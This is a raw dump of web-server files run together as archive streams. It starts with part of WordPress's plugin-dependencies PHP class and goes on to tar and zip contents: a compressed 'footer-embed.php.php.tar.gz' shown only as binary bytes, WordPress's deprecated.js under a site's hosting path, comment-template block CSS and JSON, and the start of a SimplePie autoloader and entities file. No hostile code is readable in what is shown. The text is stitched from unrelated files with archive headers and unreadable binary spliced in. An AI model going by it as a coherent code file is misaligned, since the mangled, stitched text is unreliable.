	 *                      or false if the plugin has no dependencies.
	 */
	public static function get_dependent_filepath( $slug ) {
		$filepath = array_search( $slug, self::$dependent_slugs, true );

		return $filepath ? $filepath : false;
	}

	/**
	 * Determines whether the plugin has unmet dependencies.
	 *
	 * @since 6.5.0
	 *
	 * @param string $plugin_file The plugin's filepath, relative to the plugins directory.
	 * @return bool Whether the plugin has unmet dependencies.
	 */
	public static function has_unmet_dependencies( $plugin_file ) {
		if ( ! isset( self::$dependencies[ $plugin_file ] ) ) {
			return false;
		}

		require_once ABSPATH . 'wp-admin/includes/plugin.php';

		foreach ( self::$dependencies[ $plugin_file ] as $dependency ) {
			$dependency_filepath = self::get_dependency_filepath( $dependency );

			if ( false === $dependency_filepath || is_plugin_inactive( $dependency_filepath ) ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Determines whether the plugin has a circular dependency.
	 *
	 * @since 6.5.0
	 *
	 * @param string $plugin_file The plugin's filepath, relative to the plugins directory.
	 * @return bool Whether the plugin has a circular dependency.
	 */
	public static function has_circular_dependency( $plugin_file ) {
		if ( ! is_array( self::$circular_dependencies_slugs ) ) {
			self::get_circular_dependencies();
		}

		if ( ! empty( self::$circular_dependencies_slugs ) ) {
			$slug = self::convert_to_slug( $plugin_file );

			if ( in_array( $slug, self::$circular_dependencies_slugs, true ) ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Gets the names of plugins that require the plugin.
	 *
	 * @since 6.5.0
	 *
	 * @param string $plugin_file The plugin's filepath, relative to the plugins directory.
	 * @return array An array of dependent names.
	 */
	public static function get_dependent_names( $plugin_file ) {
		$dependent_names = array();
		$plugins         = self::get_plugins();
		$slug            = self::convert_to_slug( $plugin_file );

		foreach ( self::get_dependents( $slug ) as $dependent ) {
			$dependent_names[ $dependent ] = $plugins[ $dependent ]['Name'];
		}
		sort( $dependent_names );

		return $dependent_names;
	}

	/**
	 * Gets the names of plugins required by the plugin.
	 *
	 * @since 6.5.0
	 *
	 * @param string $plugin_file The dependent plugin's filepath, relative to the plugins directory.
	 * @return array An array of dependency names.
	 */
	public static function get_dependency_names( $plugin_file ) {
		$dependency_api_data = self::get_dependency_api_data();
		$dependencies        = self::get_dependencies( $plugin_file );
		$plugins             = self::get_plugins();

		$dependency_names = array();
		foreach ( $dependencies as $dependency ) {
			// Use the name if it's available, otherwise fall back to the slug.
			if ( isset( $dependency_api_data[ $dependency ]['name'] ) ) {
				$name = $dependency_api_data[ $dependency ]['name'];
			} else {
				$dependency_filepath = self::get_dependency_filepath( $dependency );
				if ( false !== $dependency_filepath ) {
					$name = $plugins[ $dependency_filepath ]['Name'];
				} else {
					$name = $dependency;
				}
			}

			$dependency_names[ $dependency ] = $name;
		}

		return $dependency_names;
	}

	/**
	 * Gets the filepath for a dependency, relative to the plugin's directory.
	 *
	 * @since 6.5.0
	 *
	 * @param string $slug The dependency's slug.
	 * @return string|false If installed, the dependency's filepath relative to the plugins directory, otherwise false.
	 */
	public static function get_dependency_filepath( $slug ) {
		$dependency_filepaths = self::get_dependency_filepaths();

		if ( ! isset( $dependency_filepaths[ $slug ] ) ) {
			return false;
		}

		return $dependency_filepaths[ $slug ];
	}

	/**
	 * Returns API data for the dependency.
	 *
	 * @since 6.5.0
	 *
	 * @param string $slug The dependency's slug.
	 * @return array|false The dependency's API data on success, otherwise false.
	 */
	public static function get_dependency_data( $slug ) {
		$dependency_api_data = self::get_dependency_api_data();

		if ( isset( $dependency_api_data[ $slug ] ) ) {
			return $dependency_api_data[ $slug ];
		}

		return false;
	}

	/**
	 * Displays an admin notice if dependencies are not installed.
	 *
	 * @since 6.5.0
	 */
	public static function display_admin_notice_for_unmet_dependencies() {
		if ( in_array( false, self::get_dependency_filepaths(), true ) ) {
			$error_message = __( 'Some required plugins are missing or inactive.' );

			if ( is_multisite() ) {
				if ( current_user_can( 'manage_network_plugins' ) ) {
					$error_message .= ' ' . sprintf(
						/* translators: %s: Link to the network plugins page. */
						__( '<a href="%s">Manage plugins</a>.' ),
						esc_url( network_admin_url( 'plugins.php' ) )
					);
				} else {
					$error_message .= ' ' . __( 'Please contact your network administrator.' );
				}
			} elseif ( 'plugins' !== get_current_screen()->base ) {
				$error_message .= ' ' . sprintf(
					/* translators: %s: Link to the plugins page. */
					__( '<a href="%s">Manage plugins</a>.' ),
					esc_url( admin_url( 'plugins.php' ) )
				);
			}

			wp_admin_notice(
				$error_message,
				array(
					'type' => 'warning',
				)
			);
		}
	}

	/**
	 * Displays an admin notice if circular dependencies are installed.
	 *
	 * @since 6.5.0
	 */
	public static function display_admin_notice_for_circular_dependencies() {
		$circular_dependencies = self::get_circular_dependencies();
		if ( ! empty( $circular_dependencies ) && count( $circular_dependencies ) > 1 ) {
			$circular_dependencies = array_unique( $circular_dependencies, SORT_REGULAR );
			$plugins               = self::get_plugins();
			$plugin_dirnames       = self::get_plugin_dirnames();

			// Build output lines.
			$circular_dependency_lines = '';
			foreach ( $circular_dependencies as $circular_dependency ) {
				$first_filepath             = $plugin_dirnames[ $circular_dependency[0] ];
				$second_filepath            = $plugin_dirnames[ $circular_dependency[1] ];
				$circular_dependency_lines .= sprintf(
					/* translators: 1: First plugin name, 2: Second plugin name. */
					'<li>' . _x( '%1$s requires %2$s', 'The first plugin requires the second plugin.' ) . '</li>',
					'<strong>' . esc_html( $plugins[ $first_filepath ]['Name'] ) . '</strong>',
					'<strong>' . esc_html( $plugins[ $second_filepath ]['Name'] ) . '</strong>'
				);
			}

			wp_admin_notice(
				sprintf(
					'<p>%1$s</p><ul>%2$s</ul><p>%3$s</p>',
					__( 'These plugins cannot be activated because their requirements are invalid.' ),
					$circular_dependency_lines,
					__( 'Please contact the plugin authors for more information.' )
				),
				array(
					'type'           => 'warning',
					'paragraph_wrap' => false,
				)
			);
		}
	}

	/**
	 * Checks plugin dependencies after a plugin is installed via AJAX.
	 *
	 * @since 6.5.0
	 */
	public static function check_plugin_dependencies_during_ajax() {
		check_ajax_referer( 'updates' );

		if ( empty( $_POST['slug'] ) ) {
			wp_send_json_error(
				array(
					'slug'         => '',
					'pluginName'   => '',
					'errorCode'    => 'no_plugin_specified',
					'errorMessage' => __( 'No plugin specified.' ),
				)
			);
		}

		$slug   = sanitize_key( wp_unslash( $_POST['slug'] ) );
		$status = array( 'slug' => $slug );

		self::get_plugins();
		self::get_plugin_dirnames();

		if ( ! isset( self::$plugin_dirnames[ $slug ] ) ) {
			$status['errorCode']    = 'plugin_not_installed';
			$status['errorMessage'] = __( 'The plugin is not installed.' );
			wp_send_json_error( $status );
		}

		$plugin_file          = self::$plugin_dirnames[ $slug ];
		$status['pluginName'] = self::$plugins[ $plugin_file ]['Name'];
		$status['plugin']     = $plugin_file;

		if ( current_user_can( 'activate_plugin', $plugin_file ) && is_plugin_inactive( $plugin_file ) ) {
			$status['activateUrl'] = add_query_arg(
				array(
					'_wpnonce' => wp_create_nonce( 'activate-plugin_' . $plugin_file ),
					'action'   => 'activate',
					'plugin'   => $plugin_file,
				),
				is_multisite() ? network_admin_url( 'plugins.php' ) : admin_url( 'plugins.php' )
			);
		}

		if ( is_multisite() && current_user_can( 'manage_network_plugins' ) ) {
			$status['activateUrl'] = add_query_arg( array( 'networkwide' => 1 ), $status['activateUrl'] );
		}

		self::initialize();
		$dependencies = self::get_dependencies( $plugin_file );
		if ( empty( $dependencies ) ) {
			$status['message'] = __( 'The plugin has no required plugins.' );
			wp_send_json_success( $status );
		}

		require_once ABSPATH . 'wp-admin/includes/plugin.php';

		$inactive_dependencies = array();
		foreach ( $dependencies as $dependency ) {
			if ( false === self::$plugin_dirnames[ $dependency ] || is_plugin_inactive( self::$plugin_dirnames[ $dependency ] ) ) {
				$inactive_dependencies[] = $dependency;
			}
		}

		if ( ! empty( $inactive_dependencies ) ) {
			$inactive_dependency_names = array_map(
				function ( $dependency ) {
					if ( isset( self::$dependency_api_data[ $dependency ]['Name'] ) ) {
						$inactive_dependency_name = self::$dependency_api_data[ $dependency ]['Name'];
					} else {
						$inactive_dependency_name = $dependency;
					}
					return $inactive_dependency_name;
				},
				$inactive_dependencies
			);

			$status['errorCode']    = 'inactive_dependencies';
			$status['errorMessage'] = sprintf(
				/* translators: %s: A list of inactive dependency plugin names. */
				__( 'The following plugins must be activated first: %s.' ),
				implode( ', ', $inactive_dependency_names )
			);
			$status['errorData'] = array_combine( $inactive_dependencies, $inactive_dependency_names );

			wp_send_json_error( $status );
		}

		$status['message'] = __( 'All required plugins are installed and activated.' );
		wp_send_json_success( $status );
	}

	/**
	 * Gets data for installed plugins.
	 *
	 * @since 6.5.0
	 *
	 * @return array An array of plugin data.
	 */
	protected static function get_plugins() {
		if ( is_array( self::$plugins ) ) {
			return self::$plugins;
		}

		require_once ABSPATH . 'wp-admin/includes/plugin.php';
		self::$plugins = get_plugins();

		return self::$plugins;
	}

	/**
	 * Reads and stores dependency slugs from a plugin's 'Requires Plugins' header.
	 *
	 * @since 6.5.0
	 */
	protected static function read_dependencies_from_plugin_headers() {
		self::$dependencies     = array();
		self::$dependency_slugs = array();
		self::$dependent_slugs  = array();
		$plugins                = self::get_plugins();
		foreach ( $plugins as $plugin => $header ) {
			if ( '' === $header['RequiresPlugins'] ) {
				continue;
			}

			$dependency_slugs              = self::sanitize_dependency_slugs( $header['RequiresPlugins'] );
			self::$dependencies[ $plugin ] = $dependency_slugs;
			self::$dependency_slugs        = array_merge( self::$dependency_slugs, $dependency_slugs );

			$dependent_slug                   = self::convert_to_slug( $plugin );
			self::$dependent_slugs[ $plugin ] = $dependent_slug;
		}
		self::$dependency_slugs = array_unique( self::$dependency_slugs );
	}

	/**
	 * Sanitizes slugs.
	 *
	 * @since 6.5.0
	 *
	 * @param string $slugs A comma-separated string of plugin dependency slugs.
	 * @return array An array of sanitized plugin dependency slugs.
	 */
	protected static function sanitize_dependency_slugs( $slugs ) {
		$sanitized_slugs = array();
		$slugs           = explode( ',', $slugs );

		foreach ( $slugs as $slug ) {
			$slug = trim( $slug );

			/**
			 * Filters a plugin dependency's slug before matching to
			 * the WordPress.org slug format.
			 *
			 * Can be used to switch between free and premium plugin slugs, for example.
			 *
			 * @since 6.5.0
			 *
			 * @param string $slug The slug.
			 */
			$slug = apply_filters( 'wp_plugin_dependencies_slug', $slug );

			// Match to WordPress.org slug format.
			if ( preg_match( '/^[a-z0-9]+(-[a-z0-9]+)*$/mu', $slug ) ) {
				$sanitized_slugs[] = $slug;
			}
		}
		$sanitized_slugs = array_unique( $sanitized_slugs );
		sort( $sanitized_slugs );

		return $sanitized_slugs;
	}

	/**
	 * Gets the filepath of installed dependencies.
	 * If a dependency is not installed, the filepath defaults to false.
	 *
	 * @since 6.5.0
	 *
	 * @return array An array of install dependencies filepaths, relative to the plugins directory.
	 */
	protected static function get_dependency_filepaths() {
		if ( is_array( self::$dependency_filepaths ) ) {
			return self::$dependency_filepaths;
		}

		if ( null === self::$dependency_slugs ) {
			return array();
		}

		self::$dependency_filepaths = array();

		$plugin_dirnames = self::get_plugin_dirnames();
		foreach ( self::$dependency_slugs as $slug ) {
			if ( isset( $plugin_dirnames[ $slug ] ) ) {
				self::$dependency_filepaths[ $slug ] = $plugin_dirnames[ $slug ];
				continue;
			}

			self::$dependency_filepaths[ $slug ] = false;
		}

		return self::$dependency_filepaths;
	}

	/**
	 * Retrieves and stores dependency plugin data from the WordPress.org Plugin API.
	 *
	 * @since 6.5.0
	 *
	 * @global string $pagenow The filename of the current screen.
	 *
	 * @return array|void An array of dependency API data, or void on early exit.
	 */
	protected static function get_dependency_api_data() {
		global $pagenow;

		if ( ! is_admin() || ( 'plugins.php' !== $pagenow && 'plugin-install.php' !== $pagenow ) ) {
			return;
		}

		if ( is_array( self::$dependency_api_data ) ) {
			return self::$dependency_api_data;
		}

		$plugins                   = self::get_plugins();
		self::$dependency_api_data = (array) get_site_transient( 'wp_plugin_dependencies_plugin_data' );
		foreach ( self::$dependency_slugs as $slug ) {
			// Set transient for individual data, remove from self::$dependency_api_data if transient expired.
			if ( ! get_site_transient( "wp_plugin_dependencies_plugin_timeout_{$slug}" ) ) {
				unset( self::$dependency_api_data[ $slug ] );
				set_site_transient( "wp_plugin_dependencies_plugin_timeout_{$slug}", true, 12 * HOUR_IN_SECONDS );
			}

			if ( isset( self::$dependency_api_data[ $slug ] ) ) {
				if ( false === self::$dependency_api_data[ $slug ] ) {
					$dependency_file = self::get_dependency_filepath( $slug );

					if ( false === $dependency_file ) {
						self::$dependency_api_data[ $slug ] = array( 'Name' => $slug );
					} else {
						self::$dependency_api_data[ $slug ] = array( 'Name' => $plugins[ $dependency_file ]['Name'] );
					}
					continue;
				}

				// Don't hit the Plugin API if data exists.
				if ( ! empty( self::$dependency_api_data[ $slug ]['last_updated'] ) ) {
					continue;
				}
			}

			if ( ! function_exists( 'plugins_api' ) ) {
				require_once ABSPATH . 'wp-admin/includes/plugin-install.php';
			}

			$information = plugins_api(
				'plugin_information',
				array(
					'slug'   => $slug,
					'fields' => array(
						'short_description' => true,
						'icons'             => true,
					),
				)
			);

			if ( is_wp_error( $information ) ) {
				continue;
			}

			self::$dependency_api_data[ $slug ] = (array) $information;
			// plugins_api() returns 'name' not 'Name'.
			self::$dependency_api_data[ $slug ]['Name'] = self::$dependency_api_data[ $slug ]['name'];
			set_site_transient( 'wp_plugin_dependencies_plugin_data', self::$dependency_api_data, 0 );
		}

		// Remove from self::$dependency_api_data if slug no longer a dependency.
		$differences = array_diff( array_keys( self::$dependency_api_data ), self::$dependency_slugs );
		foreach ( $differences as $difference ) {
			unset( self::$dependency_api_data[ $difference ] );
		}

		ksort( self::$dependency_api_data );
		// Remove empty elements.
		self::$dependency_api_data = array_filter( self::$dependency_api_data );
		set_site_transient( 'wp_plugin_dependencies_plugin_data', self::$dependency_api_data, 0 );

		return self::$dependency_api_data;
	}

	/**
	 * Gets plugin directory names.
	 *
	 * @since 6.5.0
	 *
	 * @return array An array of plugin directory names.
	 */
	protected static function get_plugin_dirnames() {
		if ( is_array( self::$plugin_dirnames ) ) {
			return self::$plugin_dirnames;
		}

		self::$plugin_dirnames = array();

		$plugin_files = array_keys( self::get_plugins() );
		foreach ( $plugin_files as $plugin_file ) {
			$slug                           = self::convert_to_slug( $plugin_file );
			self::$plugin_dirnames[ $slug ] = $plugin_file;
		}

		return self::$plugin_dirnames;
	}

	/**
	 * Gets circular dependency data.
	 *
	 * @since 6.5.0
	 *
	 * @return array[] An array of circular dependency pairings.
	 */
	protected static function get_circular_dependencies() {
		if ( is_array( self::$circular_dependencies_pairs ) ) {
			return self::$circular_dependencies_pairs;
		}

		if ( null === self::$dependencies ) {
			return array();
		}

		self::$circular_dependencies_slugs = array();

		self::$circular_dependencies_pairs = array();
		foreach ( self::$dependencies as $dependent => $dependencies ) {
			/*
			 * $dependent is in 'a/a.php' format. Dependencies are stored as slugs, i.e. 'a'.
			 *
			 * Convert $dependent to slug format for checking.
			 */
			$dependent_slug = self::convert_to_slug( $dependent );

			self::$circular_dependencies_pairs = array_merge(
				self::$circular_dependencies_pairs,
				self::check_for_circular_dependencies( array( $dependent_slug ), $dependencies )
			);
		}

		return self::$circular_dependencies_pairs;
	}

	/**
	 * Checks for circular dependencies.
	 *
	 * @since 6.5.0
	 *
	 * @param array $dependents   Array of dependent plugins.
	 * @param array $dependencies Array of plugins dependencies.
	 * @return array A circular dependency pairing, or an empty array if none exists.
	 */
	protected static function check_for_circular_dependencies( $dependents, $dependencies ) {
		$circular_dependencies_pairs = array();

		// Check for a self-dependency.
		$dependents_location_in_its_own_dependencies = array_intersect( $dependents, $dependencies );
		if ( ! empty( $dependents_location_in_its_own_dependencies ) ) {
			foreach ( $dependents_location_in_its_own_dependencies as $self_dependency ) {
				self::$circular_dependencies_slugs[] = $self_dependency;
				$circular_dependencies_pairs[]       = array( $self_dependency, $self_dependency );

				// No need to check for itself again.
				unset( $dependencies[ array_search( $self_dependency, $dependencies, true ) ] );
			}
		}

		/*
		 * Check each dependency to see:
		 * 1. If it has dependencies.
		 * 2. If its list of dependencies includes one of its own dependents.
		 */
		foreach ( $dependencies as $dependency ) {
			// Check if the dependency is also a dependent.
			$dependency_location_in_dependents = array_search( $dependency, self::$dependent_slugs, true );

			if ( false !== $dependency_location_in_dependents ) {
				$dependencies_of_the_dependency = self::$dependencies[ $dependency_location_in_dependents ];

				foreach ( $dependents as $dependent ) {
					// Check if its dependencies includes one of its own dependents.
					$dependent_location_in_dependency_dependencies = array_search(
						$dependent,
						$dependencies_of_the_dependency,
						true
					);

					if ( false !== $dependent_location_in_dependency_dependencies ) {
						self::$circular_dependencies_slugs[] = $dependent;
						self::$circular_dependencies_slugs[] = $dependency;
						$circular_dependencies_pairs[]       = array( $dependent, $dependency );

						// Remove the dependent from its dependency's dependencies.
						unset( $dependencies_of_the_dependency[ $dependent_location_in_dependency_dependencies ] );
					}
				}

				$dependents[] = $dependency;

				/*
				 * Now check the dependencies of the dependency's dependencies for the dependent.
				 *
				 * Yes, that does make sense.
				 */
				$circular_dependencies_pairs = array_merge(
					$circular_dependencies_pairs,
					self::check_for_circular_dependencies( $dependents, array_unique( $dependencies_of_the_dependency ) )
				);
			}
		}

		return $circular_dependencies_pairs;
	}

	/**
	 * Converts a plugin filepath to a slug.
	 *
	 * @since 6.5.0
	 *
	 * @param string $plugin_file The plugin's filepath, relative to the plugins directory.
	 * @return string The plugin's slug.
	 */
	protected static function convert_to_slug( $plugin_file ) {
		if ( 'hello.php' === $plugin_file ) {
			return 'hello-dolly';
		}
		return str_contains( $plugin_file, '/' ) ? dirname( $plugin_file ) : str_replace( '.php', '', $plugin_file );
	}
}
14338/footer-embed.php.php.tar.gz000064400000000615151024420100012270 0ustar00��S�N�0�:_1;��I�M�H��+��\g�X������e��l�̜9��2�(��E=�Fzm0H�(GV�]r!)E㓤d�[-�4�n��S���\pԉ�(��~�f�}�7+h뮛}D��z��]�.�e��]�V_^���*�R�³�Wx�@\�r��f>�`�d��6w�S+��"7��L���-��ӡP{fk�Z����,�9�G̜8	�G֙l�ڔ�K1�j5Ņ��e���0�%�)sǶg�}w�~{wN�'�Cx$�?�)�����7����#t��n�����്?�+y�E�EE��B���;�R�Q��%�x��O[;u{��6��dO�d*ٔ��Uu{S]7Y8�C4�M��Ss�G��Fֺ}14338/deprecated.js.tar000064400000015000151024420100010432 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/js/dist/deprecated.js000064400000011126151024364510025373 0ustar00/******/ (() => { // webpackBootstrap
/******/ 	"use strict";
/******/ 	// The require scope
/******/ 	var __webpack_require__ = {};
/******/ 	
/************************************************************************/
/******/ 	/* webpack/runtime/define property getters */
/******/ 	(() => {
/******/ 		// define getter functions for harmony exports
/******/ 		__webpack_require__.d = (exports, definition) => {
/******/ 			for(var key in definition) {
/******/ 				if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
/******/ 					Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
/******/ 				}
/******/ 			}
/******/ 		};
/******/ 	})();
/******/ 	
/******/ 	/* webpack/runtime/hasOwnProperty shorthand */
/******/ 	(() => {
/******/ 		__webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
/******/ 	})();
/******/ 	
/************************************************************************/
var __webpack_exports__ = {};

// EXPORTS
__webpack_require__.d(__webpack_exports__, {
  "default": () => (/* binding */ deprecated)
});

// UNUSED EXPORTS: logged

;// external ["wp","hooks"]
const external_wp_hooks_namespaceObject = window["wp"]["hooks"];
;// ./node_modules/@wordpress/deprecated/build-module/index.js
/**
 * WordPress dependencies
 */


/**
 * Object map tracking messages which have been logged, for use in ensuring a
 * message is only logged once.
 *
 * @type {Record<string, true | undefined>}
 */
const logged = Object.create(null);

/**
 * Logs a message to notify developers about a deprecated feature.
 *
 * @param {string} feature               Name of the deprecated feature.
 * @param {Object} [options]             Personalisation options
 * @param {string} [options.since]       Version in which the feature was deprecated.
 * @param {string} [options.version]     Version in which the feature will be removed.
 * @param {string} [options.alternative] Feature to use instead
 * @param {string} [options.plugin]      Plugin name if it's a plugin feature
 * @param {string} [options.link]        Link to documentation
 * @param {string} [options.hint]        Additional message to help transition away from the deprecated feature.
 *
 * @example
 * ```js
 * import deprecated from '@wordpress/deprecated';
 *
 * deprecated( 'Eating meat', {
 * 	since: '2019.01.01'
 * 	version: '2020.01.01',
 * 	alternative: 'vegetables',
 * 	plugin: 'the earth',
 * 	hint: 'You may find it beneficial to transition gradually.',
 * } );
 *
 * // Logs: 'Eating meat is deprecated since version 2019.01.01 and will be removed from the earth in version 2020.01.01. Please use vegetables instead. Note: You may find it beneficial to transition gradually.'
 * ```
 */
function deprecated(feature, options = {}) {
  const {
    since,
    version,
    alternative,
    plugin,
    link,
    hint
  } = options;
  const pluginMessage = plugin ? ` from ${plugin}` : '';
  const sinceMessage = since ? ` since version ${since}` : '';
  const versionMessage = version ? ` and will be removed${pluginMessage} in version ${version}` : '';
  const useInsteadMessage = alternative ? ` Please use ${alternative} instead.` : '';
  const linkMessage = link ? ` See: ${link}` : '';
  const hintMessage = hint ? ` Note: ${hint}` : '';
  const message = `${feature} is deprecated${sinceMessage}${versionMessage}.${useInsteadMessage}${linkMessage}${hintMessage}`;

  // Skip if already logged.
  if (message in logged) {
    return;
  }

  /**
   * Fires whenever a deprecated feature is encountered
   *
   * @param {string}  feature             Name of the deprecated feature.
   * @param {?Object} options             Personalisation options
   * @param {string}  options.since       Version in which the feature was deprecated.
   * @param {?string} options.version     Version in which the feature will be removed.
   * @param {?string} options.alternative Feature to use instead
   * @param {?string} options.plugin      Plugin name if it's a plugin feature
   * @param {?string} options.link        Link to documentation
   * @param {?string} options.hint        Additional message to help transition away from the deprecated feature.
   * @param {?string} message             Message sent to console.warn
   */
  (0,external_wp_hooks_namespaceObject.doAction)('deprecated', feature, options, message);

  // eslint-disable-next-line no-console
  console.warn(message);
  logged[message] = true;
}

/** @typedef {import('utility-types').NonUndefined<Parameters<typeof deprecated>[1]>} DeprecatedOptions */

(window.wp = window.wp || {}).deprecated = __webpack_exports__["default"];
/******/ })()
;14338/comment-template.zip000064400000007237151024420100011223 0ustar00PK[d[��}o��style-rtl.min.cssnu�[���.wp-block-comment-template{box-sizing:border-box;list-style:none;margin-bottom:0;max-width:100%;padding:0}.wp-block-comment-template li{clear:both}.wp-block-comment-template ol{list-style:none;margin-bottom:0;max-width:100%;padding-right:2rem}.wp-block-comment-template.alignleft{float:right}.wp-block-comment-template.aligncenter{margin-left:auto;margin-right:auto;width:fit-content}.wp-block-comment-template.alignright{float:left}PK[d[8�˰�
style.min.cssnu�[���.wp-block-comment-template{box-sizing:border-box;list-style:none;margin-bottom:0;max-width:100%;padding:0}.wp-block-comment-template li{clear:both}.wp-block-comment-template ol{list-style:none;margin-bottom:0;max-width:100%;padding-left:2rem}.wp-block-comment-template.alignleft{float:left}.wp-block-comment-template.aligncenter{margin-left:auto;margin-right:auto;width:fit-content}.wp-block-comment-template.alignright{float:right}PK[d[��)���
block.jsonnu�[���{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/comment-template",
	"title": "Comment Template",
	"category": "design",
	"parent": [ "core/comments" ],
	"description": "Contains the block elements used to display a comment, like the title, date, author, avatar and more.",
	"textdomain": "default",
	"usesContext": [ "postId" ],
	"supports": {
		"align": true,
		"html": false,
		"reusable": false,
		"spacing": {
			"margin": true,
			"padding": true
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		},
		"__experimentalBorder": {
			"radius": true,
			"color": true,
			"width": true,
			"style": true,
			"__experimentalDefaultControls": {
				"radius": true,
				"color": true,
				"width": true,
				"style": true
			}
		}
	},
	"style": "wp-block-comment-template"
}
PK[d[z�����
style-rtl.cssnu�[���.wp-block-comment-template{
  box-sizing:border-box;
  list-style:none;
  margin-bottom:0;
  max-width:100%;
  padding:0;
}
.wp-block-comment-template li{
  clear:both;
}
.wp-block-comment-template ol{
  list-style:none;
  margin-bottom:0;
  max-width:100%;
  padding-right:2rem;
}
.wp-block-comment-template.alignleft{
  float:right;
}
.wp-block-comment-template.aligncenter{
  margin-left:auto;
  margin-right:auto;
  width:fit-content;
}
.wp-block-comment-template.alignright{
  float:left;
}PK[d[iG���	style.cssnu�[���.wp-block-comment-template{
  box-sizing:border-box;
  list-style:none;
  margin-bottom:0;
  max-width:100%;
  padding:0;
}
.wp-block-comment-template li{
  clear:both;
}
.wp-block-comment-template ol{
  list-style:none;
  margin-bottom:0;
  max-width:100%;
  padding-left:2rem;
}
.wp-block-comment-template.alignleft{
  float:left;
}
.wp-block-comment-template.aligncenter{
  margin-left:auto;
  margin-right:auto;
  width:fit-content;
}
.wp-block-comment-template.alignright{
  float:right;
}PK[d[��}o��style-rtl.min.cssnu�[���PK[d[8�˰�
�style.min.cssnu�[���PK[d[��)���
�block.jsonnu�[���PK[d[z�����
�style-rtl.cssnu�[���PK[d[iG���	�
style.cssnu�[���PK~
14338/SimplePie.zip000064400003356577151024420100007660 0ustar00PKWd[27ߪ�autoloader.phpnu�[���<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */


/**
 * PSR-4 implementation for SimplePie.
 *
 * After registering this autoload function with SPL, the following line
 * would cause the function to attempt to load the \SimplePie\SimplePie class
 * from /src/SimplePie.php:
 *
 *      new \SimplePie\SimplePie();
 *
 * @param string $class The fully-qualified class name.
 * @return void
 */
spl_autoload_register(function ($class) {

    // project-specific namespace prefix
    $prefix = 'SimplePie\\';

    // base directory for the namespace prefix
    $base_dir = __DIR__ . '/src/';

    // does the class use the namespace prefix?
    $len = strlen($prefix);
    if (strncmp($prefix, $class, $len) !== 0) {
        // no, move to the next registered autoloader
        return;
    }

    // get the relative class name
    $relative_class = substr($class, $len);

    // replace the namespace prefix with the base directory, replace namespace
    // separators with directory separators in the relative class name, append
    // with .php
    $file = $base_dir . str_replace('\\', '/', $relative_class) . '.php';

    // if the file exists, require it
    if (file_exists($file)) {
        require $file;
    }
});

// autoloader
spl_autoload_register(array(new SimplePie_Autoloader(), 'autoload'));

if (!class_exists('SimplePie'))
{
	exit('Autoloader not registered properly');
}

/**
 * Autoloader class
 *
 * @package SimplePie
 * @subpackage API
 */
class SimplePie_Autoloader
{
	protected $path;

	/**
	 * Constructor
	 */
	public function __construct()
	{
		$this->path = dirname(__FILE__) . DIRECTORY_SEPARATOR . 'library';
	}

	/**
	 * Autoloader
	 *
	 * @param string $class The name of the class to attempt to load.
	 */
	public function autoload($class)
	{
		// Only load the class if it starts with "SimplePie"
		if (strpos($class, 'SimplePie') !== 0)
		{
			return;
		}

		$filename = $this->path . DIRECTORY_SEPARATOR . str_replace('_', DIRECTORY_SEPARATOR, $class) . '.php';
		include $filename;
	}
}
PKWd[�ۊYCYCsrc/Decode/HTML/Entities.phpnu�[���<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
